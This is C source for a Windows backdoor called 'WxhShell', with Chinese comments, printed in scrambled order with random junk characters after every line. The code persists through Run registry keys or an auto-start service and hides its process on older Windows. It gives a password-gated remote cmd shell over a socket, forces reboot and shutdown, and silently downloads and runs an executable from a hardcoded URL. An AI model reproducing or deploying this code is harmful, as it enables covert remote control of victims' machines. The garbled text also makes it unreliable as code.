    if(Boot(SHUTDOWN)) :Fu7T1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {$i>\)  
    else { [t$ r)vX  
    closesocket(wsh); aM(#J7;  
    ExitThread(0); P=6d<no&<  
    } G_ ,9h!e  
    break; I%GQ3D"=  
    } j"aY\cLr t  
  // 获取shell T93st<F=R  
  case 's': { &[_@f#  
    CmdShell(wsh); V*5v JF0j  
    closesocket(wsh); !c1M{klP  
    ExitThread(0); ".waCt6  
    break; +^&i(7a[?  
  } R5%CK_  
  // 退出 [#RFdn<  
  case 'x': { 5E1`qof  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `9+R]C]z8  
    CloseIt(wsh); vy{k"W&S  
    break; !H[01  
    } 1q3"qY H  
  // 离开 G2?#MO  
  case 'q': { gmgri   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >]xW{71F@  
    closesocket(wsh); `]]<.>R  
    WSACleanup(); 4Orq;8!BW  
    exit(1); Y:L[Iz95o  
    break; ]8DTk!  
        } /<IWdy]$3  
  } &v t)7[  
  } o3GkTn O  
G5K?Q+n   
  // 提示信息 "bF52lLu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QKB+mjMH#x  
} K/ &`  
  } 9==4T$nM[  
LjTSu9I>  
  return; l U4 I*  
} |+::sL\r  
qNP)oU92  
// shell模块句柄 N6\rjYx+7  
int CmdShell(SOCKET sock) B{D4.!a  
{ a:`<=^:4,  
STARTUPINFO si; a$Y{ut0t(  
ZeroMemory(&si,sizeof(si)); V,0$mBYa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wf"GA i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OKK Ko`RN  
PROCESS_INFORMATION ProcessInfo; sQkijo.  
char cmdline[]="cmd"; s-+-?$K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C.ji]P#  
  return 0; H!u8+  
} VjNr<~|d  
Z"_8 l3  
// 自身启动模式 }r,xx{.u7  
int StartFromService(void) |N"K83_pr  
{ W Zm8!Y  
typedef struct czpu^BT;;T  
{ }2"W0ZdWD  
  DWORD ExitStatus; R=D}([pi  
  DWORD PebBaseAddress; oH?:(S(  
  DWORD AffinityMask; u)I\R\N  
  DWORD BasePriority; PpBptsb^|J  
  ULONG UniqueProcessId; EPH" 5$8  
  ULONG InheritedFromUniqueProcessId; P5 oS 1iu*  
}   PROCESS_BASIC_INFORMATION; l~f3J$OkJ  
oYTLC@98}  
PROCNTQSIP NtQueryInformationProcess; =E%@8ZbK  
adIrrK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6SH0 y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5QuRwu_  
+y8Y@e}>  
  HANDLE             hProcess; WysWg7,r  
  PROCESS_BASIC_INFORMATION pbi; &Tuj`DL  
zhd1)lgY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "0[`U(/  
  if(NULL == hInst ) return 0; a^@.C5  
AG9DJ{T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )UF'y{K}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1/w8'Kf'u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h]t v+\0  
%<a3[TQd`\  
  if (!NtQueryInformationProcess) return 0; a{Y|`*7y  
f<VK\%M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M!Ao!D[  
  if(!hProcess) return 0; 0#eb] c   
OUF%DMl4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y&5 O)  
M'<% d[  
  CloseHandle(hProcess); ;*j K!  
Z'y&11  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r(uo-/7z  
if(hProcess==NULL) return 0; oxN5:)  
La9}JvQoX  
HMODULE hMod; [BJzZ>cY  
char procName[255]; y$]<m+1  
unsigned long cbNeeded; /7Pqy2sgE  
xatq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lGWz  
6',Hs  
  CloseHandle(hProcess); zQ{bMj<S  
Wq<oP  
if(strstr(procName,"services")) return 1; // 以服务启动 F I[BZZW  
QY&c=bWAX"  
  return 0; // 注册表启动 p|A ?F0  
} JN+7o h]u  
Kmaz"6A  
// 主模块 l~o!(rpX  
int StartWxhshell(LPSTR lpCmdLine) ?2~fvMWu  
{ [1kQ-Ko`  
  SOCKET wsl; ;5[ OS8  
BOOL val=TRUE; XWS]4MB+vm  
  int port=0; |TM n  
  struct sockaddr_in door; R@jMFh;  
L{&2 P  
  if(wscfg.ws_autoins) Install(); -"JmQ Fha  
?Ce=h+l  
port=atoi(lpCmdLine); S@u46X>  
!(?7V  
if(port<=0) port=wscfg.ws_port; )AkBo  
&T0]tzk*,  
  WSADATA data; 6wWhM&Wd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YlbX_h2S"  
>wmHCOL:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C 4C /  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^U5N!"6R  
  door.sin_family = AF_INET; }aE'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FsWp>}o  
  door.sin_port = htons(port); WVpx  
Oj_]`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qna!j|90Lp  
closesocket(wsl); )M+po-6$1  
return 1; \u[}  
} 7AT8QC`u  
R3_OCM_*  
  if(listen(wsl,2) == INVALID_SOCKET) { [.xY>\e  
closesocket(wsl); qm><}N7f  
return 1; s) U1U6O  
} P8By~f32_  
  Wxhshell(wsl); ;xz_H$g  
  WSACleanup(); 1-? i*C  
"J+L]IC?AD  
return 0; 7{O iV}]"  
Z8bg5%  
} I]W7FZ=o  
7afG4 (<k  
// 以NT服务方式启动 (i%bQZt^?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :E6*m\X!3  
{ {c_bNYoE  
DWORD   status = 0; |"9&F  
  DWORD   specificError = 0xfffffff; 7\98E&  
_d3Z~cH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6}N`YOJ.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L5 `k3ap|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6#*_d,xQT  
  serviceStatus.dwWin32ExitCode     = 0; WFahb3kx  
  serviceStatus.dwServiceSpecificExitCode = 0; yXDjM2oR/2  
  serviceStatus.dwCheckPoint       = 0; *|W](id7e  
  serviceStatus.dwWaitHint       = 0; wMR,r@}  
\h#aPG<yo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W7uX  
  if (hServiceStatusHandle==0) return; 5U7,,oyh  
:stHc,  
status = GetLastError(); .W~XX  
  if (status!=NO_ERROR) K |=o-  
{ z*jaA;#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |}:}14ty  
    serviceStatus.dwCheckPoint       = 0; oOND]>  
    serviceStatus.dwWaitHint       = 0; "y"oV[`  
    serviceStatus.dwWin32ExitCode     = status; &Hp*A^M  
    serviceStatus.dwServiceSpecificExitCode = specificError; (c)/&~aE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tkHmH/'7  
    return; oX:&;KA  
  } ZYWGP:Y  
&v((tZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BuRsz6n  
  serviceStatus.dwCheckPoint       = 0; _h ^.`Tz,  
  serviceStatus.dwWaitHint       = 0; $%bd`d*S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yl&[_ l  
} q:)PfP+  
}FS_"0  
// 处理NT服务事件,比如:启动、停止 59 g//;35@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0;><@{'  
{ EoPvF`T  
switch(fdwControl) 3>7{Q_5  
{ auAz>6L  
case SERVICE_CONTROL_STOP: k;cX,*DIn  
  serviceStatus.dwWin32ExitCode = 0; <bhGpLh-E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tKUW  
  serviceStatus.dwCheckPoint   = 0; q7KHx b  
  serviceStatus.dwWaitHint     = 0; c]x-mj =  
  { "1Hn?4nz5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lG0CCOdQ  
  } PZ6R+n8  
  return; B/a`5&G]  
case SERVICE_CONTROL_PAUSE: Xykoq"dbb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^"|q~2  
  break; Ey: ?!  
case SERVICE_CONTROL_CONTINUE: |g}r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8*/;W&7y  
  break; azIhp{rH w  
case SERVICE_CONTROL_INTERROGATE: i@rUZYF  
  break; C)i8XX  
}; =dNE1rdzNa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D>{`I'  
} kBA.N l7  
SPlt=*C#_  
// 标准应用程序主函数 J1O1! .  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~;$QSO\2h  
{ L3oL>r'|  
LqD7SJ}/f  
// 获取操作系统版本 ?Ybq]J\q  
OsIsNt=GetOsVer(); 3AdYZ7J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "ADI .  
sS{Co8EJn  
  // 从命令行安装 ^ wZx=kas  
  if(strpbrk(lpCmdLine,"iI")) Install(); TC<Rg?&yb  
6c^?DLy9B  
  // 下载执行文件 t|oIzjKE/  
if(wscfg.ws_downexe) { hzqgsmT)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m,kYE9 {  
  WinExec(wscfg.ws_filenam,SW_HIDE); i?pd|J  
} Dom]w.W5  
,\ 1X\  
if(!OsIsNt) { 30WOH 'n  
// 如果时win9x,隐藏进程并且设置为注册表启动 9teP4H}m  
HideProc(); 0/] h"5H3  
StartWxhshell(lpCmdLine); &8i$`6wY  
} `~d7l@6F  
else RYvdfj.ij  
  if(StartFromService()) A/a=)s u  
  // 以服务方式启动 "#pxZ B=  
  StartServiceCtrlDispatcher(DispatchTable); O, eoO,gB  
else )b]!IP3  
  // 普通方式启动 ENqZ=Lyq  
  StartWxhshell(lpCmdLine); %pxJ27Q  
rlh:| #GTJ  
return 0; y-H9fWi8Y&  
} EZiLXQd_  
`,~'T [  
\(Nx)F  
j<!dpt  
=========================================== >G!=lLyR  
HP*{1Q@5  
UZFs ]z!,k  
AEj%8jh  
RrBG=V  
5!'1;GLs  
" "[]oWPOj  
{ly<%Q7j  
#include <stdio.h> ]m`:T  
#include <string.h> ]pB5cq7o  
#include <windows.h> q,7W,<-  
#include <winsock2.h>  whw+  
#include <winsvc.h> m.ka%h$  
#include <urlmon.h> r$4d4xtK  
E7R%G OH  
#pragma comment (lib, "Ws2_32.lib") O{c#&/.K  
#pragma comment (lib, "urlmon.lib") Tw$tE:  
_(m455HZ  
#define MAX_USER   100 // 最大客户端连接数 v9@_ DlV\  
#define BUF_SOCK   200 // sock buffer Lbrn8,G\  
#define KEY_BUFF   255 // 输入 buffer V!. Y M)B  
onmkg}&_  
#define REBOOT     0   // 重启 E71H=C 4  
#define SHUTDOWN   1   // 关机 @^ta)Ev  
.,'4&}N}  
#define DEF_PORT   5000 // 监听端口 _VgFuU$h  
o@PvA1  
#define REG_LEN     16   // 注册表键长度 H~#$AD+H  
#define SVC_LEN     80   // NT服务名长度 U9PI#TX &O  
uAnL`  
// 从dll定义API W!" $g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v~AshmP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k t!@}QP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I _Lm[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q~f]?a`  
@b 17jmq{  
// wxhshell配置信息 p)Q5fh0-  
struct WSCFG { )Z4iM;4]  
  int ws_port;         // 监听端口 $; _{|{Yj  
  char ws_passstr[REG_LEN]; // 口令 r@i)Sluf  
  int ws_autoins;       // 安装标记, 1=yes 0=no _-{=Z=?6}  
  char ws_regname[REG_LEN]; // 注册表键名 1+3-Z>^e  
  char ws_svcname[REG_LEN]; // 服务名 3TjyKB *!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dzbbFvG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :8bq0iqsV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  \>"Zn7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X xwcvE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cCZ$TH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gI RZkT`  
4@F8-V3q4  
}; /160pl 4  
EGv]K|  
// default Wxhshell configuration )!VJ\  
struct WSCFG wscfg={DEF_PORT, $ SA @ "  
    "xuhuanlingzhe", f$}g'r zl  
    1, KMfIp:~  
    "Wxhshell", 4Hyp]07  
    "Wxhshell",  )D+eWo  
            "WxhShell Service", =s:kC`O  
    "Wrsky Windows CmdShell Service", e)-$ #qW  
    "Please Input Your Password: ", \N|}V.r  
  1, hB>FJZQ_  
  "http://www.wrsky.com/wxhshell.exe", M/F <W!  
  "Wxhshell.exe" 'Q]Wk75  
    }; @HI@PZ>  
&uaSp, L  
// 消息定义模块 l(3PxbT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VFq\{@- %  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ".AW   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V1nqEdhk  
char *msg_ws_ext="\n\rExit."; &q-P O  
char *msg_ws_end="\n\rQuit."; ,=@WE> ip  
char *msg_ws_boot="\n\rReboot..."; d8 v9[ 4  
char *msg_ws_poff="\n\rShutdown..."; V$$9Rh  
char *msg_ws_down="\n\rSave to "; 79 _8Oh  
AYoTCi%7E  
char *msg_ws_err="\n\rErr!"; "\~>[on  
char *msg_ws_ok="\n\rOK!"; M`=\ijUwN  
Fm&f  
char ExeFile[MAX_PATH]; '>bn94$  
int nUser = 0; F|VHr@%  
HANDLE handles[MAX_USER]; i 28TH Jh  
int OsIsNt; K",Xe>  
v'`qn  
SERVICE_STATUS       serviceStatus; rOUQg_y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h;(mb2[R  
lt5Knz2G,Z  
// 函数声明 $mq+/|bn  
int Install(void); MfI+o<{r  
int Uninstall(void); .VmRk9Z  
int DownloadFile(char *sURL, SOCKET wsh); J1M9) ,  
int Boot(int flag); 9}K K]m6u}  
void HideProc(void); h3\(660>$  
int GetOsVer(void); p@DVy2,EY  
int Wxhshell(SOCKET wsl); y^X]q[-?  
void TalkWithClient(void *cs); 8c%N+E]  
int CmdShell(SOCKET sock); j{t r''yN  
int StartFromService(void); w9x5IRWk  
int StartWxhshell(LPSTR lpCmdLine); E 6Uj8]P`  
?u{Mz9:?HT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !qH)ttW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^{8CShUCv  
X`E}2|q'  
// 数据结构和表定义 {~\:4  
SERVICE_TABLE_ENTRY DispatchTable[] = r|bGn#^  
{ =b6G' O[  
{wscfg.ws_svcname, NTServiceMain}, WwKpZ67$R  
{NULL, NULL} 3-0jxx(  
}; b9b`%9/L  
HyQ(9cn |  
// 自我安装 Mg^A,8lrm  
int Install(void) YWANBM(v+  
{ eXLdb-  
  char svExeFile[MAX_PATH]; xo-}t5w6t  
  HKEY key; "6%qi qt  
  strcpy(svExeFile,ExeFile); =zp{ ^mC  
"x:-#2+h  
// 如果是win9x系统,修改注册表设为自启动 oq>jCOVh  
if(!OsIsNt) { eq2L V=d{m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .o<9[d"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0+_;6  
  RegCloseKey(key); {FC<vx{42  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _39VL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F Zt;D  
  RegCloseKey(key); 7=wQ#bq"1P  
  return 0; #aP;a-Q|k  
    } #7J3,EV  
  } 0o.h{BN  
} *TxR2pC}  
else { 0J5$ Yw1'F  
8l?@ o  
// 如果是NT以上系统,安装为系统服务 PIsXX#`7;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4!M0)Nix  
if (schSCManager!=0) VdL }$CX$  
{ Kt"4<'  
  SC_HANDLE schService = CreateService Us>n`Lj@  
  ( ]h=y  
  schSCManager, :`@W`V?6-  
  wscfg.ws_svcname, [#:yOZt  
  wscfg.ws_svcdisp, p5nrPL  
  SERVICE_ALL_ACCESS, tKi ^0vE8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <V8=*n"mR  
  SERVICE_AUTO_START, ^h<ElK  
  SERVICE_ERROR_NORMAL, VhgcvS@V  
  svExeFile, s"wz !{G4  
  NULL, =NRiro  
  NULL, IPY[x|  
  NULL, q6 4bP4K  
  NULL, bh5C  
  NULL y<yU5  
  ); gX5.u9%C\  
  if (schService!=0) [s-!t E3-  
  { {]y!2r  
  CloseServiceHandle(schService); 1eS@ihkP  
  CloseServiceHandle(schSCManager); Ei@al>.\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); URyY^+s  
  strcat(svExeFile,wscfg.ws_svcname); HhTD/   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iSMVV<7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B@vup {Kg  
  RegCloseKey(key); !ZN"(0#qz  
  return 0; +ldgT"  
    } BQ!_i*14+  
  } A6Wtzt2i  
  CloseServiceHandle(schSCManager); 4?x$O{D5?{  
} &y2DI"Ff  
} <2w 41QZX  
UzkX;UA  
return 1; l_ &T)Ei  
} xl@  
&!8u4*K5j  
// 自我卸载 ?)/H8n  
int Uninstall(void) 4e|(= W`  
{ }M(XHw  
  HKEY key; _^w^tfH]  
zhACNz4tJ  
if(!OsIsNt) { 7(zY:9|(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SciEHI#  
  RegDeleteValue(key,wscfg.ws_regname); ]=5D98B  
  RegCloseKey(key); ~uO9>(?D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m\|ie8  
  RegDeleteValue(key,wscfg.ws_regname); RLF]Wa,  
  RegCloseKey(key); I9 jzR~T  
  return 0; $K~ t'wr  
  } uo^tND4a;j  
} &?SU3@3|  
} O#b%&s"o  
else { -$j|&l  
!~f!O"n)3r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #_fL[j&  
if (schSCManager!=0) ,09d"7`X  
{ =Wl}Pgo!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d ?OsVT; U  
  if (schService!=0) ^/Frg<>'p  
  { 4p/d>DTiM  
  if(DeleteService(schService)!=0) { 4ko(bW#jL  
  CloseServiceHandle(schService); =a./HCF  
  CloseServiceHandle(schSCManager); -(![xZ1{K  
  return 0; 2NqO,B|R  
  } p GSS   
  CloseServiceHandle(schService); 8Jf4" ;  
  } -$kA WP8P4  
  CloseServiceHandle(schSCManager); _WHGd&u  
} %3 $EV}dp  
} #j${R ={  
C?VNkBJ>\  
return 1; F%q}N,W  
} *Q2}Qbu  
Ceak8#|4  
// 从指定url下载文件 |jyoT%SQ  
int DownloadFile(char *sURL, SOCKET wsh) sJ)Pj?"\?  
{ p3{ 3[fDx  
  HRESULT hr; Q.L.B7'e7  
char seps[]= "/"; z] teQaUZ  
char *token; Z"'tJ3Y.~  
char *file; LO M-i>  
char myURL[MAX_PATH]; c{K[bppJ*  
char myFILE[MAX_PATH]; $<s 3;>t  
%C(^v)"  
strcpy(myURL,sURL); [cf!%3>53  
  token=strtok(myURL,seps); I> z0)pB  
  while(token!=NULL) i6D66E  
  { 5KDN8pJN  
    file=token; "\M^jO  
  token=strtok(NULL,seps); S -KHot ?  
  } >-Q=o,cl%3  
$n@B:kv5p  
GetCurrentDirectory(MAX_PATH,myFILE); L)j<;{J/Q0  
strcat(myFILE, "\\"); MFm2p?zPm  
strcat(myFILE, file); <ULydBom  
  send(wsh,myFILE,strlen(myFILE),0); K-drN)o  
send(wsh,"...",3,0); +OC~y:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q`^ T7  
  if(hr==S_OK) E >lW'  
return 0; k'JfXrW<!  
else =-|,v*  
return 1; O4fl$egQU  
%.VFj7J  
} 5]yby"Z?}  
whvvc2  
// 系统电源模块 I9;,qd%<T  
int Boot(int flag) `E2HQA@  
{ Z`Sbq{Kx  
  HANDLE hToken; /L? ia  
  TOKEN_PRIVILEGES tkp; 2io~pk>  
MF/@Efjn ]  
  if(OsIsNt) { tEHgQto  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wW+@3bPl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $ z 5  
    tkp.PrivilegeCount = 1; eJwHeG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *3]_Huw<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vX/("[  
if(flag==REBOOT) { b;%>?U`>p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,c9K]>8m`  
  return 0; =S:Snk%  
} RYuR&0_{  
else { zyi;vu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w_]`)$9  
  return 0; p? L*vcU  
} k]9v${Ke  
  } 6#DDMP8;I  
  else { X{G&r$  
if(flag==REBOOT) { #1oyRD-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5'z D}[2  
  return 0; jM!Q 04(  
} u</LgOP`-  
else { $;%k:&\f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Th>ff)~ e  
  return 0; G"|`&r@  
} %$ CV?K$C  
} cHjnuL0fsy  
%{HeXe  
return 1; DA wUG  
} $Cx?%X^b  
Gj H$!P=.  
// win9x进程隐藏模块 Ny2. C?2  
void HideProc(void) '| rhm  
{ ztb?4f q6)  
^'ac |+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e'0BP,\f_}  
  if ( hKernel != NULL ) |Pj]sh[^Y  
  { c$#7Kp4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rK} =<R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3P2x%Gp  
    FreeLibrary(hKernel); C 5 xsh  
  } d !=AS  
?3=y]Vb+  
return; tqXr6+!Q  
} fobnK~2  
^9fY %98  
// 获取操作系统版本 %v)O!HC}  
int GetOsVer(void) h1REL^!c  
{ OH/!Ky\@  
  OSVERSIONINFO winfo; ^e\H V4s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z b}U 4  
  GetVersionEx(&winfo); r"xs?P&/$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f 6 k=ew  
  return 1; hYB3tT  
  else !M@jW[s  
  return 0; PB(I3R9  
} $QB/n63  
Ev>P|k V&A  
// 客户端句柄模块 @ q:S]YB   
int Wxhshell(SOCKET wsl) &5d~ODO  
{ ;(r,;S_`0  
  SOCKET wsh; 6%L#FSI  
  struct sockaddr_in client; !j%MN{#a  
  DWORD myID; 51-@4E2:l:  
kr>4%Ndm7  
  while(nUser<MAX_USER) :erfs}I  
{ V 0z`p"  
  int nSize=sizeof(client); r@u8QhD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i# bcjH  
  if(wsh==INVALID_SOCKET) return 1; 9zE/SDu7\  
gJBw6'Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v+(-\T\i  
if(handles[nUser]==0) pPsT,i?  
  closesocket(wsh); I_\?wSNGM  
else =M9;`EmC  
  nUser++; yIYQ.-DkS+  
  } MnTJFo"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R@~=z5X( Q  
.OcI.1H[  
  return 0; >["X( %&w  
} *b8AN3!  
K(r@JW  
// 关闭 socket *3\N j6  
void CloseIt(SOCKET wsh) QERj`/g  
{ w:aV2  
closesocket(wsh); A9Icn>3?`(  
nUser--; F[KM0t!  
ExitThread(0); `G:I|=#w  
} bJoP@s  
+$$5Cv5#<&  
// 客户端请求句柄 &lnM 1W  
void TalkWithClient(void *cs) $O_{cSKg7  
{ ftxy]N LF  
Qv6-,6<  
  SOCKET wsh=(SOCKET)cs; P:%r3F  
  char pwd[SVC_LEN]; d.yATP  
  char cmd[KEY_BUFF]; of8 >xvE|  
char chr[1]; t?wVh0gT  
int i,j; T~8kKw  
X wIKpr8  
  while (nUser < MAX_USER) { <f#pS[A  
z1nKj\AM2  
if(wscfg.ws_passstr) { "7J38Ej\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZRj/lQ2D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^cCNQS}r  
  //ZeroMemory(pwd,KEY_BUFF); ?7uK:'8  
      i=0; x %W%  
  while(i<SVC_LEN) { X`28?  
Yk0/f|>O  
  // 设置超时 4*'ZabDD  
  fd_set FdRead; J,:Wv`N:9~  
  struct timeval TimeOut; 4s 6,`-  
  FD_ZERO(&FdRead); 4JRQ=T|P7I  
  FD_SET(wsh,&FdRead); 2Mu@P8O&  
  TimeOut.tv_sec=8; 08+\fT [  
  TimeOut.tv_usec=0; 5,J.$Sax  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bbT1p :RF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0BQ{ZT-Kh  
B`)TRt+'.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \aN7[>R.Q  
  pwd=chr[0]; *alifdp  
  if(chr[0]==0xd || chr[0]==0xa) { {Z1KU8tp  
  pwd=0; QB3er]y0%  
  break; dU-nE5  
  } Irui{%T  
  i++; j'`-3<k  
    } !P3y+;S  
sQ.t3a3m  
  // 如果是非法用户,关闭 socket 5Od&-~O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NMS+'GRW  
} T: SqENV  
?&!e f {  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,Xxp]*K2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .}Eckqkp  
6O_l;A[=1  
while(1) { NOmFQ)/ &  
86);0EBX  
  ZeroMemory(cmd,KEY_BUFF); Hk'R!X  
/U} )mdFm  
      // 自动支持客户端 telnet标准   q07H{{h/B  
  j=0; i*r ag0Mw  
  while(j<KEY_BUFF) { \-SC-c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %C_c%3d  
  cmd[j]=chr[0]; kbo9nY1k g  
  if(chr[0]==0xa || chr[0]==0xd) { &?}A/(#  
  cmd[j]=0; nk;^sq4M:  
  break; a$\ Bt_  
  } H@b4(6  
  j++; nok-![  
    } "'C5B>qO  
=;(L$:l~  
  // 下载文件 ~E/=nv$  
  if(strstr(cmd,"http://")) { v#EFklOP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [8Fn0A  
  if(DownloadFile(cmd,wsh)) ?aI. Z+#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ri\\Yb  
  else f!H/X%F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :| !5d{8S8  
  } vqZBDQ0  
  else { D8{ ,}@  
U }AIOtUw  
    switch(cmd[0]) { 6Yc(|>b!  
  X`J86G)  
  // 帮助 B*t1Y<>x  
